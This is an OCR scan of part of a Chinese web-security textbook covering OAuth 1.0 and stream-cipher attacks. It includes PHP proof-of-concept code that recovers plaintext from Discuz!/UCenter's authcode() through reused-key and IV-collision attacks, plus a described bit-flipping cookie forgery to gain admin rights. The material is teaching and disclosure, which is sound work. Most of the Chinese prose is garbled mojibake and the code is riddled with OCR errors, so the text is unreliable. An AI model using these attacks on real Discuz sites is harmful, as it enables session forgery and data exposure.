UserA | Il UserB

1

TRKVAS B B ) s 5

RO T 2l AR A BEOR UL, ACPARR A R At b o REURIGIE T REVT 17 B (K
e, BEBATR M IR e 2y B BT R (K AR A o), DAL= AN B
Z IR AR o 1 TP AR B SR e = s G A7 Il PR B B, AL AP AR
PR B AT ARRZ Ay« FE T i 5 ) 42 7

FEA RV - 3l B ) D29 21 7R L, I D2y TR 2 AR il s
Fo (HIKPBUR i B R AAT B AL -

G 0T AR AR R GUK U HE LU 5% A ST 2R X L a4 A R R

Hk, o FEAR RV R, Sk A5 S S AT B AL S5 R U7 I R R
AL WARAT . LG R A FNES A TR, AR S K34 .

e, WARAERS Cge B A R FRAE U7 Pl a8, AT RS iSRS &
W, XTRZEMSSIEO, I ] fE2s fem 2 TERE

SRl 5 DR B80T BUAE e R R BT B R BT 58, SO B TR AR A
Yeo MR AHAEH YT PR, TELERE AT “ A 4L (Group)” HOMER . iS4l
s s T2 A 0L, FA TR — I 2R 8 5% A B SE B X SR (44T

BEAN, 3T L RE S AN S 8, R Uy 1) 22 10 U S AR T B SRR, R 5 |
X HCHE R ) BEAT FE o

HCFRUBRAE LR L, AR — A ——EMELURIL, A AAESE —HEZE R vk, 7ER
RAVF AT BT BRI LA P2 [
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10.4 OAuth &IT

OAuth J& —MNEAFULH 7 A RS G A0S, RAE =07 N H ViR Web B8 11 % 4>
W OAuth 1.0 T 2007 4F 12 H &A1, FBGERCh TATMARAE  Crp WA [R] P it 2 1) B30 1) 75 5K
HEZ AMEY)). 2010 4F 4 J], OAuth 1.0 IEZX A T RFC 58498,

OAuth 5 OpenID #S3 )T ik FEE I AZLS I T 15 - OpenID fif ¥ ()& WA 1) &, OAuth
T SE A AL IR SR K RIS — AR, JE R AR, ST 2 (1) I L IE 77
LR &0 TR AL

OAuth Z 5123 52B5 2 I\ OpenID ZE G 2x P 7- 5 HISK ) (2006 45 12 /1), OAuth 3¢
AHETRAN OpenID H A —Be g el S AN 7 (77, (8 5 R R I e B vt N8 i i
Wie want samething like Flickr Auth f Google AuthSub fYahoal BBAGth, but published as an
apen standard, with comman senver and client libraries, etc. The trick with OpenlD is that the
users na longer have passwards, so0 you can't use hasic auth for API calls without requiring

passwards (defeating one of the main paints of OpenlD) ar giving cut-and-paste tokens (which
suck).

— Blaine Coak, Aptil 5th, 2007
OAuth 711 5t

HOLEI N ] OAuth 937550, — RO AN 94 3l REEERIBC— AN T P A58 =7 W s o i BE 2L B Y5t
G

Eednde A L, ARELS AN 7 MSN LU A, 64T OAuth i, "l AEFRE A i AN
WAL MSN H 1 44 g,

~ A ARBIMSNEX R A hBiEfE A AR L
MSHE:

MSNEER: AAFITEARRIEIER Ehivl R
e FRATEL SR RS A EEJ;'JFEEUJJ?EE RS EE -

S AMINSNE 54 R AARLE
NNPEER I i N MSN i

RAMMEEAL AT AN 4547 7 (0 MSN K P R i, AR NN WK U R AT 3 i [ 2 4
RISy K T Beditn, AP tsfe UG 26 A S A AN

11 OAuth WU TIXAMEAE R, e AT ZE AR fIE MSN ™ 44 A

8 http://tools.ietf.org/html/rfc5849
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AR I T, AT ABZAR MSN K P (R4 A 44 Bt as AN
7 OAuth 1.0 ™, Wk 3 M, 73lE:
O Consumer: ¥1%%J; (Client)
O Service Provider: RZ54E4L) (Server)

O User: H/* (Resource Owner)

LEHFRAS K OAuth F1, ¥ 4EFRHA Client. Server. Resource Owner. {&_F [ [f145] 11, Client
ZAANK, Server /& MSN, Resource Owner & /.

WATHRE N Lr . B Jane 78 fajicom LA PKEEF, WA IX 5K I 2=
#l| beppa.com, Hi OAuth, IXANIFEIE WA SLEL I Ve ?
@ Mozilla Firefox [EE=>)

File Edit View History Bookmarks Tools Help L)

¢| < $ - @ @ @ |[1 http://faji.com/photos "‘ D-]

faji

foto journeys

Hi Jane,.

Your have uploaded 2 photos:

.

Share with Friends

Jane 7F beppa.com |, EFEE faji.com b=,

@ Mozilla Firefox (=l B |
File Edit View History Bookmarks Tools Help 3
<‘§| - @ - @ @ @ |D http:/fbeppa com ‘v‘ D]

eco friendly printing

eppa

“;m photos located?
sy

* Fotolog =00
S

1E beppa.com J& 57, WA — IR FEIE (Temporary Credentials), M5 Jane ¥ HrULil

N AL UEATAE faji.com.
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ARG DU BkEE 2 faji.com [F) OAuth T, FFEK Jane k. R, XHEETE fajicom I
!

@ Mozl Firefox == )

File Edit View History Bookmarks Tools Help o

e - - @ | https-/faji com/oauthsauthorize |~ | b |

fnto journeys

Please sign-in to your account:

Username: janedoe
Password: sssesess

BRI, faji.com 21 Jane /&5 24X beppa.com 7 1) Jane £ faji.com BHIFAH I .

@ Moxzilla Firefox [E=E=] =)

File Edit View History Bookmarks Tools Help T3

@ - @ - @I @ @ ||:1 https:/ffaji.com/oauth/confirm |v‘ D]

faji

foto journeys

beppa.com is requesting access to your
private photo albums:

eca irlendly pr'lmlng

If approved, beppa.com will have read
only access for the next 1 hour

IR Jane FZAURIY (455 “ Approve” #4411, faji.com 23K Jane 5 K ()15 i £ 1UE ( Temporary
Credentials) #xic ) “Jane CUAEFAL”, [FINTEkHL A beppa.com, JFfair LIfiHS4EIE (Temporary
Credentials). fEIt, beppa.com K1IE & A LLESREL Jane MIFAH A T o
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& Mozilla Firefox =l )

File Edit View History Bookmarks Tools Help &

é - * - @ G @ ||3 http://beppa.com/order |V‘ D]

eco friendly printing

X beppa.com Kiit, ‘& H SCiH I Request Token 2 faji.com #H{ Access Token, 45 5tn]
DL Access Token 15 17 % T Request Token M 8 T 3RHUH F* 45280, Access Token A GEH]
TU7 R P B .

faji.com

beppa.com

%%, Jane BLIHUEE Ik (1) 7 M faji.com 433 beppa.com .

@ Moilla Firefox SRR =)
File Edit View History Bookmarks Tools Help &
& - # - @ @ @ |E1 http://beppa.com/order |v| b]

eca friendly printing

Eeppd
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AT LS 2% N BRI R8O 6 (1 OAuth IFZBGE 2, B 5 Btk rf)id 2 —Ff
.

PR R BRI 6 i
AL Request Token % Request Token
oauth/request_token FHN %] (Secret)
H 1 T [ B AT
) FH R A 0T I FH A JH P B A8 AL

http://api.tsina.com.cn/oauth/
authorize?oauth_token=token

IR P R R, e
1] 4 Callback url CHRIIN D

oauth/access token s
—oken IR IFER
JH Request Token [FI B Access Token /& Secret

T HEL Access Token

account/verify credentials
3REX1Z Access Token 15 5
BRI P R4 S

iR [AliZ Token {5
O N IR

SR OAuth 1 i A2

OAuth 1% 3 B 3 ILXUB, OAuth 1.0 195528 L —Ley3°, P OAuth 8 H 3k
JUMEITIRAS, A 1E 2010 4F 4 H%ER OAuth 1.0 5 RFC 5849, fEXAMERAT, BH T
H ORI AN, 302 OAuth P T2 % [B I 22 4 IR 345 HY T a0,

9 http://oauth.net/advisories/2009-1/
10 http:/tools.ietf.org/html/rfc5849#section-4
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4. Security Conziderations ....vuecernneernnnernnnernnnmmnnnannnnnn 28
4.1. RESA-5HAL Signature Method ... . i iee e 28
4.2, Confidentiality of Requestz ... ..o i i ana s 30
4.3, Spoofing by Counterfeit Servers cvviviiiiiiivnrnnnnnsnnnnnns a0
4.4. Proxwving and Caching of Authenticated Content ...vcvununans a0
4. 5. Plaintext Storage of Credentials ..........ciiiinnecnnnnns 4o
4. 6. Secrecy of the Client Credentials ...........ccceeecrnnnnnn a1
4.7, Phishing Attacks ......itiiiniiiie e ireaernnncananaanannnns a1
4.8, Scoping of Accesz Requests ... it i e ie e 31
4.9, Entropy of Secrets .oviiiii it i a i aaaaaa g2
4,10, Denial-of-Serwvice / Resource-Exhaustion Attacks ..uvvvenas a2
4.11. SHA-1 Cryptographic Attacks ...... ..t iriinioinnaainnanns a3
4.12. Signature Base String Limitations .........eccinmeccnnnnns a3
4.13. Crozs—Site Request Forgery (CSRF) ....iviiiinrcnncannanns 33
4.14. Uszer Interface Redrezss ..ottt eieananns 34
4. 15. Automatic Procezsing of Repeat Authorizations ............ 34

OAuth FrAEA 12 4 3L

Har b, HAKESYI A OAuth BRSO FH /NSRBI K2 L3, H OAuth
W 2 N OB SR SR A R e DR I T, DRI FH 2 — 5 SEBLK OAuth
PE ANk RE . HATA LR IX S8 EL R AN 44 1K) OAuth JZE 0] (I T /o e %

ActionScript/Flash

oauth-as3 http://code.google.com/p/ocauth-as3/
A flex oauth
client http://www.arcgis.com/home/item.html?id=£ff6£ffa302ad04a7194999£2ad08250d7

C/C++

QTweetLib http://github.com/minimoog/QTweetLib
1ibOAuth http://liboauth.sourceforge.net/

clojure

clj-oauth http://github.com/mattrepl/clj-oauth

.net

oauth-dot-net http://code.google.com/p/oauth-dot-net/
DotNetOpenAuth http://www.dotnetopenauth.net/

Erlang

erlang-oauth http://github.com/tim/erlang-oauth

Java

Scrible http://github.com/fernandezpablo85/scribe-java
oauth-signpost http://code.google.com/p/oauth-signpost/

JavaScript

oauth in js http://oauth.googlecode.com/svn/code/javascript/
Objective-C/Cocoa & iPhone programming

OAuthCore http://bitbucket.org/atebits/oauthcore
MPOAuthConnection http://code.google.com/p/mpoauthconnection/
Objective-C OAuth http://ocauth.googlecode.com/svn/code/obj-c/

Perl

Net::0Auth http://oauth.googlecode.com/svn/code/perl/
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PHP

tmhOAuth http://github.com/themattharris/tmhOAuth
oauth-php http://code.google.com/p/oauth-php/

Python
python-oauth2 http://github.com/brosner/python-oauth?2

Qt

gOauth http://github.com/ayoy/goauth

Ruby

Oauth ruby gem http://oauth.rubyforge.org/

Scala

DataBinder Dispatch http://dispatch.databinder.net/About

OAuth 1.0 &8 T REC kidfE, {H OAuth 2.0 [58R7E BEB B EL 1 H 2 T, 3] 2011 4F4EJE
C&H T — MO FRE IR .

OAuth 2.0 W T OAuth 1.0 fUZe5:, Ml TARZ 4. XML T, ek TR
. P IFAA, ENRRE EF XA K,

LI Z 1) OAuth (b 5 SN FHL % Web WA, {H OAuth 1.0 H 4L T
e o XA LINT Web SR UG M T A AT, AR AL 80 2% R 3 1 FH FH AR A T 25 2 331
o [FIE OAuth 1.0 FIN I ZERITEY ek 7 TABAFAE— 2 i) 8, 9 i SR KR, mRESs
BE| LR REI AN, A T AR IX S B, OAuth 2.0 BB A

105 /N4

LEARTER, N T ZERGETIL: ViEEdl. 5k T “What Can1Do? 7 1)
i) 18 o

WA ET “CaRERPRERL”, ¢ FET M ndm 7 BLA “AKCPRRE L,
M T EIERVT R XM R s TR, T e T 2 3.

Vi Rl 54 R EEAHSE, IFAE— AN gl a4 . R AR IS o) R el ot
AR 22w, BEAML SR .

e, JCRIEREIRARS T 2 AERTTT SRIN AN AZ L I MR U7, AL
PR B P 3 i 0 o

11 http://hueniverse.com/2010/05/introducing-oauth-2-0/
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NZBEE S BEHLEL

INEE LS P BENLECR R T R 2 S B I ARG, (E N SR Lok M AR s, 8
Web FFARHT, WA s S A O LB A = — e 1 T, AR AT Re s e Al
I RN DL A e A TERE L8 LI A T

11.1 R

HEAE AR, EWL T AN 2R R T R— RN, B I
AT R IR o

AT

£ Web N, HH AT ULB IS Bk 5 5, B DL a2 sl 7K U SR A7 3
Cookie B AN a 59k . I Sk iis 2 I, S5 M) 2e 4 5RO,

LB 088 ST 43 S 43 N s Sk S i A s SR P R, B B SE IR AN .

IrEINEFVESE T “ordl” (block) BHATHRAE, MRHEEIERIAR, DA ETEEA
M. A4 haE kit %£ A DES. 3-DES. Blowfish. IDEA. AES %%, T &z~ T —MEH
CBC Q1) 43 20 0 a8 Sy i i el i«
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F’Iailtext Pailtext F’Iailtext
v (-l-) 4,6‘? 4,6?

Key —| Encrypt Key — | Encrypt Key — | Encrypt

—

crrrrrv ey T

Ciphertext Ciphertext Ciphertext

TR IR L, WA DA BE—AN 7o, BPIMSL T R 28, Pl S sl Sl n 2%

g, GRSk itE A RC4. ORY X, SEAL %5, T EIH R T i 208 hnss sy 1
SRR

Key « IV
Scheduler | < Key

Plaintext

CITTTTTTTTITTIT I -
C|phertext
%—NIII [TTTTTTTTTTT ]

Keystream T

> [ [ ITTTITTITTTITII ]

s Sk B, R M RS R, TR A

O M B
Bl Ag —2ems3r, AN [E— IS SR a3 s 10 . XA B & Bk 1
O CAI T

Wl B bR T G5 — L83 300N, R REAT B IX LR B SO MK B SC o AN R S B R ) —
Bidi o Sl Se st

O EHIH BT

Brki # A REAF 3 — 2% SCNI ST, B REE ] T s iy W 5.

O ERH UG

Yot 5 ] DUIEBEAS A 1R 3 SOR AR 2« AT 4¢3 “Padding Oracle Attack” At A& —Fjik
P ity o

SN 2EAEFEAS 2 A R R R ORI AN, AP AR LR DL s A AR IE
I ) 2 4 )
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11.2 Stream Cipher Attack

WL I — R 5k, 540 SRR, R ne 23T 5 (XOR)
BAERIATHY, BRRES R E— AN o (BRI & Sk ok e AR i, I R 2 T &
B NS B, W LR SR IS N B RC4. ORYX. SEAL %5,

11.2.1 Reused Key Attack

AR T T B0 . X PP B R A “Reused Key Attack”, ZEX M, Mook 5 A5 2 4010
], QIR JE H I .
RiEHEHHEC, HX A, HX B, A4, XOR IR FRRA:

A xor C
B xor C

E (A7)
E (B)

IR N T AN, IR 5 win] oF 5

E(A) xor E(B)

BRI R PN R O BGE4T XOR 8845 B 0, ikl

E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B
PNIIESE:I NS
E(A) xor E(B) = A xor B

XEWAE 4 N, T ERNE 34, s AT AHES RN 1A ZA A Y] C A
MREL? DA EAHE T !

BA KRG — AL ERMIEIF o 7F Ucenter 11, H—"NH T I BKEL, %448 authcode() »
B AN SRR I L . XA R Discuz! FIPE TR AR, [HIMR 2 PHP
TR P E B S IR, B2l PR ST authcode() A% Javas Ruby WA, XX A
R AT U

// $string: BHIC B8R %L
// $operation: DECODER/NE®, HAhR RN
// S$key: Hi
// Sexpiry: %M
/TR R
function authcode ($string, $operation = 'DECODE', S$key = '', Sexpiry = 0) {
[/ BASERASE, AR A S AR AN R SO KRS (MR R TV)
Sckey length = 4; // BENLEFIKEE BUH 0~32
[/ MANBENLEEH, WA B SOOI, RIS R SR g 58 A R, 0 25 R S RO [
[/ BRWEARAEE (SEfr Bt Tv)
// WK, %R E AR, %308 = 16 1 $ckey length W7
[/ AR 0 B, WPRFEARREAL AR

&l

/] ER

Skey md5 ($key ? S$key : UC _KEY);



5113 S EELS LS 223

/] EamZ 5/ E

Skeya = md5 (substr ($key, 0, 16));

/ /B Rep g FRABCEUE S 3 R IE

Skeyb = md5 (substr ($key, 16, 16));

[/ BRI T AR B % ST (WG T R Tv)

Skeyc = Sckey length ? (Soperation == 'DECODE' ? substr($string, 0, S$ckey length)
: substr (md5 (microtime()), -$ckey length)) : '';

/] SHIEENER

Scryptkey = S$keya.md5 (Skeya.S$keyc) ;

Skey length = strlen (Scryptkey);

[/ WASC, TULON FSRARAE I IR, AR i B R A AT ki, 10302 647 HORIRAE Skeyb (% /ikb)

/ /BRI 4 A IR A 5 R 30 I A 6

/) WAL KTE, SMEBsckey lengthfiJFih, B A% LHTSckey length{{R{Fa)A%

/ / CAMRIIESR % 1E A

$string = Soperation == 'DECODE' ? base64 decode (substr($string, S$ckey length)) : sp
rintf ('%010d', S$expiry ? Sexpiry + time() : 0).substr(md5($string.S$keyb), 0, 16).$string;

$string length = strlen($string);

Sresult = '';
$Sbox = range (0, 255);

Srndkey = array();
/] PR
for($i = 0; $1i <= 255; $i++) {
Srndkey[$i] = ord($cryptkey[$i % Skey lengthl]);

}
// RWEERES, FTRLS &S, RmBELTE, BIRSEAR, SEbr BIRANS B e SC i e
for($j = $i = 0; $1i < 256; $i++) {

$9 = (% + Sbox[$i] + Srndkey[S$i]) % 256;

Stmp = S$box[$1i];

Sbox [$i] = Sbox[$]];

Sbox[$j] = Stmp;

}
VAR VY VE S
for($a = $j = $1 = 0; $1i < $string length; $it++) {
Sa = ($a + 1) % 256;
33 ($3 + Sbox[$al) % 256;
Stmp = $box[$al;
Sbox[Sa]l = Sbox[$7];

Sbox[$]J] = Stmp;
[/ WE R % R AT 5B, A T A
Sresult .= chr(ord($string[$i]) *~ (Sbox[ (Sbox[$Sa] + Sbox[$]j]) % 256]));
}
if ($operation == 'DECODE') {
[/ WAEEEEA R, A RN A B S
if ((substr ($result, 0, 10) == || substr ($Sresult, 0, 10) - time() > 0) &&
substr ($result, 10, 16) == substr (md5 (substr ($result, 26).S$keyb), 0, 16)) {
return substr ($result, 26);
} else {
return '';
}
} else {

// ACENAERORATAE T SO, KR AT A FIRE RIS, 7= AR AN [ 3 S RE AR 25 1) Ji 4]
/7 BN SR IR SO gt — e R AT, BRI R g 5k, il Hlbase 649k

return S$keyc.str replace('=', '', base64 encode ($result));
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A BB WL T RIS A, HSCE TR, 0GR E T AT XOR i8
%, LS XOR MEs kR AR A — 4T
$result .= chr(ord($string[$i]) ~ ($box[ (Sbox[$a] + $box[$j]) % 256]));

FREESLAL LAY, 226, AMBHARUINS KEY, L2200 MDS 258, B KA
IF] % 1) 32 A7
function authcode ($string, Soperation = 'DECODE', $key = '', $expiry = 0) {

$ckey length = 4;

Skey = md5 ($key ? $key : UC _KEY);

Skeya = md5 (substr ($Skey, 0, 16));
Skeyb md5 (substr ($key, 16, 16));

authcode ()X & £ (10 WA FH 77 X8 «
authcode ($plaintext, "ENCODE" , UC_KEY)

Hil, UC KBY WRCE(ERE AR AR, (A 890 4E 2UIE I T XOR ZSHA-
.

HIR, keye AW E (IV). WIHE LT ckey length, N2 microtime() 45
R, FEBE 2 e 2 R AL EH AR

Sckey length = 4;

Skeyc = S$ckey length ? (Soperation == 'DECODE' ? substr($Sstring, 0, S$ckey length):
substr (md5 (microtime ()), -$ckey length)) : '';

Scryptkey = S$keya.mdb ($keya.S$keyce);
Skey length = strlen($Scryptkey);

$string = Soperation == 'DECODE' ? base64 decode (substr ($string, S$ckey length))
sprintf ('%010d"', $Sexpiry ? Sexpiry + time () : 0) .substr (md5 ($string.$keyb), 0, 16) .S$string;

Srndkey = array();
for($i = 0; $i <= 255; $i++) {

Srndkey[$i] = ord(Scryptkey[$i % Skey lengthl]);
}

WIEa A 1) B AR Pl — k% o AT BENLI AU ARL In) 5, B SCREOIN 8 i ™ A 1 SO
AN, ST E S e ek . ARG I A 5 AN T B UEHRA R M, LA T
W7 REMS DR, s BRI 17 DL ST B A% 4

3 T 78 Reused Key Attack, 2] Ho¥ ckey length BEE N 0 , XFEEASHVIEAL M 5.
TR B s s A
<?php
define ('UC_KEY','aaaaaaaaaaaaaaaaaaaaaaaaaaa’);

Splaintextl = "aaaabbbb";
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Splaintext2 = "ccccbbbb";
echo "plaintextl is: ".$plaintextl."<br>";
echo "plaintext2 is: ".$plaintext2."<br>";

Scipherl = base64 decode (substr (authcode (Splaintextl, "ENCODE" , UC KEY), 0));
echo "Cipherl is: ".hex($cipherl).'<br><br>';

Scipher2 = base64 decode (substr (authcode ($Splaintext2, "ENCODE" , UC KEY), 0));
echo "Cipher2 is: ".hex($cipher?2).'<br><br>';

function hex ($str) {

Sresult = '';
for ($i=0;Si<strlen ($str);S$i++) {
Sresult .= "\\x".ord(Sstr[$i]);

}

return S$result;

echo "crack result is :".crack($plaintextl, $cipherl, S$cipher?);

function crack($plain, S$cipher p, $cipher t) {
Starget = '';
$len = strlen($plain);

Stmp p = substr(Scipher p, 26);
echo hex ($tmp p) ."<br>";

Stmp t = substr(Scipher t, 26);
echo hex($tmp t) ."<br>";

for ($i=0;S$i<strlen($plain);Si++) {
Starget .= chr(ord($plain([$i]) *~ ord(S$tmp p[S$i]) ~ ord(S$tmp t[$i]));
}

return S$target;

function authcode ($string, $operation = 'DECODE', S$key = , Sexpiry = 0) {
//$ckey length = 4;
Sckey length = 0;

Skey = md5 ($key ? S$key : UC _KEY);
Skeya = md5 (substr ($key, 0, 16));
Skeyb = md5 (substr ($key, 16, 16));
Skeyc = $ckey length ? (Soperation == 'DECODE' ? substr($string, 0, $ckey length):

substr (md5 (microtime () ), -$ckey length)) : g

Scryptkey = S$keya.md5 ($keya.S$keyc) ;
Skey length = strlen($Scryptkey);

Sstring = Soperation == 'DECODE' ? base64 decode (substr ($string, S$ckey length))
sprintf ('$010d', Sexpiry ? Sexpiry + time () : 0).substr (md5($string.S$keyb), 0, 16).S$string;

$string length = strlen($string);

Sresult = '';
Sbox = range (0, 255);
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Srndkey = array();
for($i = 0; S$i <= 255; $i++) {

Srndkey[$i] = ord(Scryptkey[$i % Skey lengthl]);
}

for($jy = $i = 0; $i < 256; S$i++) {
$3 = ($] + Sbox[$i] + Srndkey[$i]) % 256;
Stmp = Sbox[$i];
Sbox[$i] = Sbox[$]];
Sbox[$]] = Stmp;
}

Sxx = ''; // real key
0; $1 < $string length; $i++) {

Sa =
$9 = ($7 + Sbox([Sal) % 256;
Stmp Sbox[$al;

Sbox[$]] = Stmp;
$xx .= chr (Sbox[ (Sbox[S$a]l + $box[$]j]) % 256]);
Sresult .= chr(ord($string[$i]) ~ (Sbox[ (Sbox[$a] + S$Sbox[$j]) % 2561));

(
(

Sbox[$a] = $box[$7];
$

}

echo "xor key is: ".hex ($xx)."<br>";

if ($Soperation == 'DECODE') {
if ((substr (Sresult, 0, 10) == 0 || substr(Sresult, 0, 10) - time() > 0) &&
substr ($result, 10, 16) == substr (md5 (substr ($Sresult, 26).$keyb), 0, 16)) {
return substr (Sresult, 26);
} else {

return '';
}
} else {
return Skeyc.str replace('=', '', base64 encode (Sresult));

}

2>

AP S

€« C @ www. a. con/testZ php

plaintextl is: aaaabbbb
plaintext2 is: ccccbbbb
xor key is:

¥
Yzl 34 x5\ x163\ 24542248 83\ x 250\ x 98\ x 222\, 22942 229" 2146\ x 246\ x 94\ x 76 \x115\x35%x1
Cipherl is:
Wx1824 25342147\ x29\ 2200429942202 x 8242238\, 245\ x 220\ x 171\ 2192\ 21 0T x 1 25\ 265 =204

wor key is:

4x134%x5 21634245\ 22484283z 250\ x 9842222\ 229\ x 2294 1146 \x 246 x 942 T6\x 1154235 "x1
Cipher? is:

Wl B2\ kB3 14T\ x 29\ 2004 x99, 22024 x 824 x 238, 245\ x 21 1 \x 165 21490 x1 09 x 116\ x 22\ x TON
Wx227Y x424x31 2204\ x251 \x24', 114 x B9

Y2225 x404 22942206\ x251 \x24 114 x89
crack result is :iccechbbbb

NS 1 92 “aaaabbbb”, I 2 & “ccccbbbb”.

11t authcode() 5L AR 2] T W% 3C Cipherl 5 Cipher2 o ML, 2 3CHT 10
AT I UER ], 10 2 26 A7 TUE 5B, DRI ECIE i3 SO A 27 RETTFAR 1R, 78 ) 51



BLE ESAL YL

227

N

Sr2ETyxd2h 31022044 225122442114 xB9
Y290 ed0h 229 22088 2251 224 2114 xBO

MRHE 2 R i 22 3

E(A) xor E(B) = A xor B

O 3 MV PTHERC R~ 1M, AT

aaaabbbb XOR “\x227\x42\x31\x204\x251\x24\x114\x89’ XOR ‘\x225\x40\x29\x206\x251\x24\

x114\x89’ = ccccbbbb

MR T HISC. XA FEAE crack()RRECHHifiid -

function crack(Splain, $cipher p, Scipher t){
Starget = '';
$len = strlen($plain);

Stmp p = substr(Scipher p, 26);
echo hex ($tmp p) ."<br>";

Stmp t = substr(Scipher t, 26);
echo hex($tmp t) ."<br>";

for ($i=0;S$i<strlen($plain);Si++) {

Starget .= chr(ord($plain[$i]) *~ ord(Stmp p([$i]) *~ ord(Stmp t[$il)):
}
return S$target;

XL P LARERCT D, PR 58— O s A FH AR 88 R SR — A T R B AR TR], Rl

FTAIA Reild XOR B HILJFAH S, JEM Reused Key Attack.

U W 1 key:

xor key is:
YxlEdh 2B xl 63 2B 2243 k3w 200 208\ k22T kPO 2B M w1 46N 2 B4R 294 x TR 1115 23021 2y
Cipherl is:
YelB824 53 x14Thx29h 2200 2994 22024 2824 22384 xdb 222041 T1hx1 9242107 21 2542654 220N x6E

U I key:

xor key 1s:
Yl 34 xEh 21630 xdB 2 243 3 2 2B 9D\ k2R N 2 20N w2200 11460 2246 x 04 2 TE k115 k35 \x 1 24, x 232
Cipher? is:
Y182 x5E 214722922000 x99 2202, x 82\ 2238 x40\ 2211 x 165 %149 x 109 x1 1 B4 22242704\ 253 %1

{EUERATAEYT AR A I B, JUUAR [F) A SCRECIN B IR 2 RSN, R R (R M, RAN 32

SRR o (AL

Sckey length = 4;

I GXBEERINED, authcode() #f ™ ABEHLEE B, SLn R Bzt n 1.
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BRIV AERENL, Ko BTl REdR BRI R TV, WAEAR IR TV AR 00 B ATS R AT BAS it
“Reused Key Attack”. 7£ “WEP fifit” — i, itk 2] AR IV, AL A Beeds e o

11.2.2 Bit—flipping Attack

PRI R ARk
E(A) xor E(B) = A xor B

UG AT DA H e
A xor E(A) xor B = E(B)

XEARAE HANE A EISC, B IS0, A S0, rTDAHES B (%350 X AR SERR Y
AR A H

et — AN, AEH] Cookie 124 HI™ A3 AAIESEIE, 1M Cookie [ 2L XOR
D TIAF T e UERI I RE A2 IR 55 & im il % Cookie Jri, K aHISCR T k. BBHISCE:

usernametrole

I F AN T — NS A B, SRECT A 1 Cookie 24 Cookie(A), AT ] REF
I8 HAEHE L) Cookie, AT RAF T BE 53 BB :

(accountA+member) xor Cookie(A) xor (admin account+manager) = Cookie (admin)
P Y L s L e o NS T Y O [ T N 1 DO W a8 P X Y (/8 B D Wa
WA B 5, Bk Bit-flipping Attack '

fift vk Bit-flipping Sk 15 V242 30 0E %5 SC 1) 5e 88k, Jei WL 52 3 ity A7 KEY 1) MAC
(4 BKAEMS, Message Authentication Code), JHit MAC J6ilF %5 e H# Bk .

RECEIVER

| MESSAGE | | MESSAGE |
MAC | ™EssAGE | MAC

Key (K)— Algorithm MAC] b Algorithm

I 1T . |

[MAC]-»{ =7+ [MAC]|

MAC: If the same MAC is found: then

Message Authetication Code the message is authentic and
integrity checled

Else: something Is not right.

MAC FB5 2 SUs 2 K]

1 http://en.wikipedia.org/wiki/Bit-flipping_attack
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0 S A VSR SE I MAC, FRh HMAC. HMAC T vEfesc iy, w2 .
TE PR HMAC ) —Fhsz i,

aﬂ
o

| XOR XOR

[k ]
L 64]3yte| ,_64Byte |
t <= 64 Byte!

<= 64 Byte

i

ikey pad | message J

-_ SHA1-1st pass

1 : —=
—""""___ SHA1-2nd pass
64 Byte

20 Byte

HMAC 528 72

1F authcode() ', HSZUZLSZEL T HMAC, JTRABGEEAEAFIRIN KEY HEW T, &
Jeikse . Bit-flipping ilif.

IR B A

if ($Soperation == 'DECODE') {
if ((substr (Sresult, 0, 10) ==0 | | substr (Sresult, 0, 10) - time () > 0) && substr ($Sresult,
10, 16) == substr (md5 (substr ($result, 26).$keyb), 0, 16)) {
return substr (Sresult, 26);
} else {
return '';

}

Hordr, S SCHTHT 10 AN FRAER M2 AR, 10~26 M5 E) HMAC, HF5HE
B TPRN, 26 MFETZ A REIEN % .

HMAC H LA SEE -
md5 (substr ($Sresult, 26).S$keyb)

XAMEE AR ZEAT R, —AMEEIER 2 3L : substr($result, 26); —M2E Skeyb, MSkeyb ¥
Sl N KEY 2B 211), FIEAME KEY B0 R, XA HMAC MR & ek it
KT . ik HMAC A ROHARIE T 2% SCA SR



230  AMETUE Web 224

11.2.3 S5FEHL IV [6]&A

7t authcode() %, EEUAEA T 4 A5 IV GIUEBRECT I keye), 1151 figd 4 B2 45
Ko AHILSE 4 AR IV ZIRMESS 0, eABRHNL, FAI5Ea v Loss “ 5 i 177 L4k
PIELM IV, N TRARIX— 5, WE—TERT, W
<?php
define ('UC_KEY', 'aaaaaaaaaaaaaaaaaaaaaaaaaaa');

Splaintextl = "aaaabbbbxxxx";
Splaintext2 = "ccccbbbbccee";

Sguess_result = "";
Stime start = time();
Sdict = array();
global $ckey length;
Sckey length = 4;

echo "Collecting Dictionary (XOR Keys) .\n";

Scipher2 = authcode ($plaintext2, "ENCODE" , UC _KEY);

Scounter = 0;
for (;;){
Scounter ++;
Scipherl = authcode (Splaintextl, "ENCODE" , UC_KEY);
Skeycl = substr($cipherl, 0, S$ckey length);
Scipherl = base64 decode (substr ($cipherl, S$ckey length));

S$dict[$Skeycl] = Scipherl;
if ( $Scounter%1000 == 0) {
echo ".";
if ($guess_result = guess($dict, $Scipher2)) {
break;

}

array unique (Sdict);

echo "\nDictionary Collecting Finished..\n";
echo "Collected ".count ($dict)." XOR Keys\n";

function guess ($dict, S$cipher?2) {
global S$plaintextl, Sckey length;

Skeyc2 = substr($cipher2, 0, S$ckey length);
Scipher2 = base64 decode (substr ($cipher2, S$ckey length));

for ($i=0; $i<count ($dict); $i++) {
if (array key exists(Skeyc2, S$dict)) {
echo "\nFound key in dictionary!\n";
echo "keyc is: ".S$keyc2."\n";
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return crack ($plaintextl, $dict[$keyc2],$Scipher2);
break;

}

return False;

echo "\ncounter is:".Scounter."\n";

Stime spend = time() - Stime start;
echo "crack time is: ".S$time spend." seconds \n";
echo "crack result is :".$guess_result."\n";

function crack(Splain, S$cipher p, Scipher t){
Starget = '';

Stmp p = substr($cipher p, 26);
//echo hex ($tmp p) ."\n";

Stmp t = substr(Scipher t, 26);
//echo hex ($tmp t)."\n";

for ($i=0;$i<strlen ($plain);S$i++) {
Starget .= chr(ord($plain([$i]) *~ ord(S$tmp p[S$i]) ~ ord(S$tmp t[$il]));
}

return S$target;

function hex ($str) {

Sresult = '';
for ($i=0;$i<strlen($str);Si++) {
Sresult .= "\\x".ord($str([$i]);

}

return Sresult;

function authcode ($string, $operation = 'DECODE', S$key = '', Sexpiry = 0) {

global $ckey length;
//$ckey length = 0;

Skey = md5 ($key ? S$key : UC _KEY);

Skeya = md5 (substr ($key, 0, 16));

Skeyb = md5 (substr ($key, 16, 16));

Skeyc = $ckey length ? (Soperation == 'DECODE' ? substr($string, 0, $ckey length):
substr (md5 (microtime ()), -S$ckey length)) : '';

Scryptkey = S$keya.md5 ($keya.S$keyc) ;
Skey length = strlen($Scryptkey);

